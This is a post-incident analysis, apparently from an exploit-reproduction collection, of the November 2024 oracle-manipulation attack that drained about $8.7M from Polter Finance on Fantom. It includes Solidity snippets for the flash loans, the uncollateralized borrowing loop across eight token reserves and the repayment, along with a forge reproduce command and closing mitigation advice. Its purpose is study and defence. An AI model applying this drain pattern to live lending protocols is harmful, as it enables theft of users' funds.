-
Type: Exploit
-
Network: Fantom
-
Total lost: ~ 8.7 M
-
Category: Oracle Manipulation
-
Vulnerable contracts:
-
Tokens Lost
-
- 9,129,844 WFT
-
- 26.69 BOO
-
- 475.24 WSOL
-
- 0.23 WBTC
-
- 10.96 WETH
-
- 8763 MIM
-
- 56,881 USDC
-
- 1,997,342 sFTMX
-
- 26,002 axlUSDC
-
Attack transactions:
-
- Deployer EOA: 0x511f427Cdf0c4e463655856db382E05D79Ac44a6
-
Attack Block:: 97508838
-
Date: Nov 16, 2024
-
Reproduce:
forge test --match-contract Exploit_Polter_Finance -vvv
The Polter Finance protocol's critical vulnerability stemmed from trusting SpookySwap V2/V3 pool prices for their BOO token oracle. This meant the protocol's lending decisions were based on potentially manipulatable price feeds from DEX pools, which the attacker exploited through flash loans. The vulnerability manifested in ILendingPool.borrow()
function where borrowing power was calculated using these manipulated prices.
Here's how the attacker leveraged this vulnerability:
-
Setup (Get Initial Flash Loan)
- Flash loan BOO tokens from SpookySwap V3 pool
- Prepare for subsequent operations with obtained liquidity
-
Additional Liquidity (V2 Flash Swap)
- Perform V2 flash swap to get additional BOO tokens
- This provides more tokens for the attack setup
-
Collateral Setup
- Deposit minimal collateral (1e18 BOO) into Polter Finance
-
Exploit Execution
- Systematically drain multiple token reserves through uncollateralized borrowing
- Target high-value tokens in sequence
- Transfer stolen assets to attacker address
-
Flash Loan Repayment
- Swap 5000 WFTM back to BOO tokens
- Repay flash loan obligations
- Keep remaining stolen assets as profit
- Gets BOO tokens through SpookySwap V3 flash loan to initiate the attack:
// Initial flash loan from V3 pool
pairWftmBooV3.flash(address(this), 0, BOO.balanceOf(address(pairWftmBooV3)), "");
// Flash callback handling
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
uint256 repay = BOO.balanceOf(address(this)) + fee1;
// Further attack steps...
}
- Leverages V2 flash swap to obtain more BOO tokens:
pairWftmBooV2.swap(0, BOO.balanceOf(address(pairWftmBooV2)) - 1e3, address(this), "0");
// V2 callback implementation
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
BOO.approve(address(Lending), 1e18);
// Initialize exploit sequence...
}
- Sets up minimal collateral and exploits borrowing mechanism:
unction exploitToken(IERC20 token) public {
// Get reserve data for target token
ILendingPool.ReserveData memory reserveData = Lending.getReserveData(address(token));
// Execute uncollateralized borrow
Lending.borrow(address(token), token.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
// Transfer stolen tokens
token.transfer(address(this), token.balanceOf(address(this)));
}
- Systematically drains multiple token reserves:
// Execute exploit across multiple tokens
exploitToken(WFTM);
exploitToken(MIM);
exploitToken(sFTMX);
exploitToken(axlUSDC);
exploitToken(WBTC);
exploitToken(WETH);
exploitToken(USDC);
exploitToken(WSOL);
- Repays flash loans and finalizes profit
function swapWftmToBoo(uint256 _amountOut) internal {
address[] memory path = new address[](2);
path[0] = address(WFTM);
path[1] = address(BOO);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
_amountOut, 0, path, address(this), block.timestamp + 3600
);
}
- Implement decentralized oracles with multi-source price feeds to prevent price manipulation.
- Use TWAP oracles to protect against flash loan attacks and price volatility.